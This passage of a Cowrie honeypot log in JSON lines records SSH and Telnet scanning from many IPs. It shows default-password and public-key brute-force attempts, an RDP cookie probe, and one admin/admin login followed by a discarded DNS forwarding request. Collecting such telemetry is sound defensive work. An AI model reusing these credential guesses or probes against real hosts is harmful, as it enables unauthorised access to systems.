failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.242581Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:d8:a0:3d:50:ba:ea:0e:aa:82:bb:1d:81:79:45:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5tfxQFXHq3UgV1N6vsihvn48CmSXeYc4a2L8tJezgqry8+AHrPugvaR+9uRLhknjuT5Hdel68cOqLuwUT6XZPfxeToVkj/3+QK9zDv8U0LrSSvfXv1df4AQxDdJazWziiXwiSQM8WSUbpBs9HFLWqymwlqDw/3RIF6ke3cKfLcGhy6xi28zKAMKXpgd366MNWwKk/+Nm/hgGkGgK1kCDObNq4+tsVrc/UvOI9dCMvqTip31cSP4V7viCGeEiMH6x5eujTHOay/qod7HpQpJCkUqMLiPIfTgTHKr6KUm9WtD1XXvvmUkWP3x2WFJ5Phx79w6k+Yi1LqmjeXX0ZoycX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:d8:a0:3d:50:ba:ea:0e:aa:82:bb:1d:81:79:45:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.331904Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:d8:a0:3d:50:ba:ea:0e:aa:82:bb:1d:81:79:45:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5tfxQFXHq3UgV1N6vsihvn48CmSXeYc4a2L8tJezgqry8+AHrPugvaR+9uRLhknjuT5Hdel68cOqLuwUT6XZPfxeToVkj/3+QK9zDv8U0LrSSvfXv1df4AQxDdJazWziiXwiSQM8WSUbpBs9HFLWqymwlqDw/3RIF6ke3cKfLcGhy6xi28zKAMKXpgd366MNWwKk/+Nm/hgGkGgK1kCDObNq4+tsVrc/UvOI9dCMvqTip31cSP4V7viCGeEiMH6x5eujTHOay/qod7HpQpJCkUqMLiPIfTgTHKr6KUm9WtD1XXvvmUkWP3x2WFJ5Phx79w6k+Yi1LqmjeXX0ZoycX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.335493Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:21:87:49:35:75:2f:ab:5d:6c:e9:65:00:3e:41:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuvQAHvsukjWHIBmHnOTFioPx/oPrOw+/JwLko4C8PkRT/8HwC9t8kC1CCwA0v637BEYZbeRnetUSpCpFAshqqtBfSYIoA+uPasdsaAMdOkvTKPxUw4+Qw03P01CfJDbGSO4o+p/4rrwAbQ+2upqzBl0V6qu0qKKtAscdHof5LVFwB4bMYmdkFwCmgPrC9bY15JQdSnlYXspQLwwBH/jKHFlvu6GJ1gB5Ki/fNoRlFsrCfXrSDmRGVGVkeQrPk+JlVhjc/gc7v9afwmrW6AVwqqshbn/UdlIBnvuFrxkeSB4rNLSUQbaDFpqdrhpD4H2ebCWVaGixJj1/Gs45eqmpFVSFRicsnUfTUqeMbwoVhd7yoLEJ3iDiUothR0YQz1n2o5JVZxvB4Onshq4CLviqle4SInfvKlwFQA7MY1LKPGEJvT0t0UrzbSOmpeDnb2VFnfqhQdSsNEWix/6UPy9z8epJIIuH3ZbXTxhHDsZmHM9lL41WLGFNPt7JEt5fdae8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:21:87:49:35:75:2f:ab:5d:6c:e9:65:00:3e:41:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.418431Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:21:87:49:35:75:2f:ab:5d:6c:e9:65:00:3e:41:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuvQAHvsukjWHIBmHnOTFioPx/oPrOw+/JwLko4C8PkRT/8HwC9t8kC1CCwA0v637BEYZbeRnetUSpCpFAshqqtBfSYIoA+uPasdsaAMdOkvTKPxUw4+Qw03P01CfJDbGSO4o+p/4rrwAbQ+2upqzBl0V6qu0qKKtAscdHof5LVFwB4bMYmdkFwCmgPrC9bY15JQdSnlYXspQLwwBH/jKHFlvu6GJ1gB5Ki/fNoRlFsrCfXrSDmRGVGVkeQrPk+JlVhjc/gc7v9afwmrW6AVwqqshbn/UdlIBnvuFrxkeSB4rNLSUQbaDFpqdrhpD4H2ebCWVaGixJj1/Gs45eqmpFVSFRicsnUfTUqeMbwoVhd7yoLEJ3iDiUothR0YQz1n2o5JVZxvB4Onshq4CLviqle4SInfvKlwFQA7MY1LKPGEJvT0t0UrzbSOmpeDnb2VFnfqhQdSsNEWix/6UPy9z8epJIIuH3ZbXTxhHDsZmHM9lL41WLGFNPt7JEt5fdae8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.422234Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:64:12:13:2f:55:02:b4:14:34:11:07:64:ff:3c:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb9XZB80CB6eKeEQS65wAK5v+AFLxZoKwnLvrizeaLQhk/yliWwa3szFZcyhVqMZ5ktt2kJZdQIRmFNJe7SxrQMk4per4OgQ36cMCjnAdDAqs/DI5KuqyTBjn2AEVHLjKn/ddFEwbO4s6MS8p6NHOJXKcyJuhUfsu+oo5S3lqc7sTJjeP4MAG9h5XcHo+lwI4O3kP9Z7kXzEsKjg4Pnf9Z26uZYYl9ZhqpXVlkoEgJiPDWUfV5T0UOMqF7x629/9+k5tVl/9XxA+0nZ05mON+DSvixasXuUsBeSCs6FERvU7Vo4xBsPF0Ijkb/aNHgij5nfP/ApYr83bhv9fDhPjsD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:64:12:13:2f:55:02:b4:14:34:11:07:64:ff:3c:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.505034Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:64:12:13:2f:55:02:b4:14:34:11:07:64:ff:3c:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb9XZB80CB6eKeEQS65wAK5v+AFLxZoKwnLvrizeaLQhk/yliWwa3szFZcyhVqMZ5ktt2kJZdQIRmFNJe7SxrQMk4per4OgQ36cMCjnAdDAqs/DI5KuqyTBjn2AEVHLjKn/ddFEwbO4s6MS8p6NHOJXKcyJuhUfsu+oo5S3lqc7sTJjeP4MAG9h5XcHo+lwI4O3kP9Z7kXzEsKjg4Pnf9Z26uZYYl9ZhqpXVlkoEgJiPDWUfV5T0UOMqF7x629/9+k5tVl/9XxA+0nZ05mON+DSvixasXuUsBeSCs6FERvU7Vo4xBsPF0Ijkb/aNHgij5nfP/ApYr83bhv9fDhPjsD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.508698Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:52:fc:1e:c2:10:51:8b:7b:7a:7d:e7:32:9b:2d:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvnp+rQQZADWOtipHFeAzCL7laO5IufDfHVMbHLf8O4bKMqg5eECFWgvym4v/yUPN2Cde+8a+rijV2DuJ+us3Ugvw55Md97HrJrneR9JeCIgqQIOaKbPJIzuQ+T68ZKOVUCrZGLbd/khrb5wyugxpzqm48G7OuyqUgpiW9DOOcBhPuuErZqFBsyOfppy8ftcauKTmGyqE0LW34Yg2PpeQG4Cq5FBF1cd2WyPhsUCOpJARczQboJr7FCXkHWI1ZArkzlnRijsuL7aWTQUFjslgaOG1H5CqLUBPU+XJs6aY6u/PPOjyFmIKT6kKK10oXZy7PZFmZb7Nq8UlbnOG7tegGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:52:fc:1e:c2:10:51:8b:7b:7a:7d:e7:32:9b:2d:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.589800Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:52:fc:1e:c2:10:51:8b:7b:7a:7d:e7:32:9b:2d:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvnp+rQQZADWOtipHFeAzCL7laO5IufDfHVMbHLf8O4bKMqg5eECFWgvym4v/yUPN2Cde+8a+rijV2DuJ+us3Ugvw55Md97HrJrneR9JeCIgqQIOaKbPJIzuQ+T68ZKOVUCrZGLbd/khrb5wyugxpzqm48G7OuyqUgpiW9DOOcBhPuuErZqFBsyOfppy8ftcauKTmGyqE0LW34Yg2PpeQG4Cq5FBF1cd2WyPhsUCOpJARczQboJr7FCXkHWI1ZArkzlnRijsuL7aWTQUFjslgaOG1H5CqLUBPU+XJs6aY6u/PPOjyFmIKT6kKK10oXZy7PZFmZb7Nq8UlbnOG7tegGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.593725Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.675514Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34018,"dst_ip":"159.203.135.109","dst_port":22,"session":"c770c984cbb3","protocol":"ssh","message":"New connection: 80.94.92.186:34018 (159.203.135.109:22) [session: c770c984cbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:41:33.823071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:41:33.922777Z","src_ip":"80.94.92.186","session":"c770c984cbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:41:34.100868Z","src_ip":"80.94.92.186","session":"c770c984cbb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:41:36.197572Z","src_ip":"80.94.92.186","session":"c770c984cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:41:37.518541Z","src_ip":"80.94.92.186","session":"c770c984cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56249,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5054cc38755","protocol":"ssh","message":"New connection: 167.172.81.52:56249 (159.203.135.109:22) [session: d5054cc38755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:35.872029Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:35.899932Z","src_ip":"167.172.81.52","session":"d5054cc38755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:35.905188Z","src_ip":"167.172.81.52","session":"d5054cc38755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9c9ba2fae5","protocol":"ssh","message":"New connection: 2.57.122.238:47080 (159.203.135.109:22) [session: 1e9c9ba2fae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:38.215036Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:38.316958Z","src_ip":"2.57.122.238","session":"1e9c9ba2fae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46182,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0835a769856","protocol":"ssh","message":"New connection: 109.237.96.109:46182 (159.203.135.109:22) [session: b0835a769856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:41.191689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:41.198403Z","src_ip":"109.237.96.109","session":"b0835a769856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:41.295492Z","src_ip":"109.237.96.109","session":"b0835a769856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mersedes","message":"login attempt [root/mersedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:41.574660Z","src_ip":"109.237.96.109","session":"b0835a769856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:42:42.669857Z","src_ip":"109.237.96.109","session":"b0835a769856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7517ca65e54","protocol":"telnet","message":"New connection: 192.119.13.58:34082 (10.17.0.5:23) [session: b7517ca65e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:06.101211Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":47764,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b16e9c7ddc","protocol":"ssh","message":"New connection: 38.93.206.2:47764 (159.203.135.109:22) [session: c5b16e9c7ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:06.887565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:06.892323Z","src_ip":"38.93.206.2","session":"c5b16e9c7ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:06.943555Z","src_ip":"38.93.206.2","session":"c5b16e9c7ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maestro","message":"login attempt [root/maestro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:07.103024Z","src_ip":"38.93.206.2","session":"c5b16e9c7ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:08.156056Z","src_ip":"38.93.206.2","session":"c5b16e9c7ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.5269615650177,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:12.628057Z","src_ip":"192.119.13.58","session":"b7517ca65e54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a14ecf862649","protocol":"ssh","message":"New connection: 87.251.64.176:11092 (10.17.0.5:22) [session: a14ecf862649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:30.611537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:30.616312Z","src_ip":"87.251.64.176","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:30.712549Z","src_ip":"87.251.64.176","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.000609Z","src_ip":"87.251.64.176","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.100739Z","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.198430Z","src_ip":"87.251.64.176","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.299855Z","src_ip":"87.251.64.176","session":"a14ecf862649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a660d39694b","protocol":"ssh","message":"New connection: 103.172.78.219:39876 (10.17.0.5:22) [session: 6a660d39694b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.977304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:31.982092Z","src_ip":"103.172.78.219","session":"6a660d39694b","protocol":"ssh"}
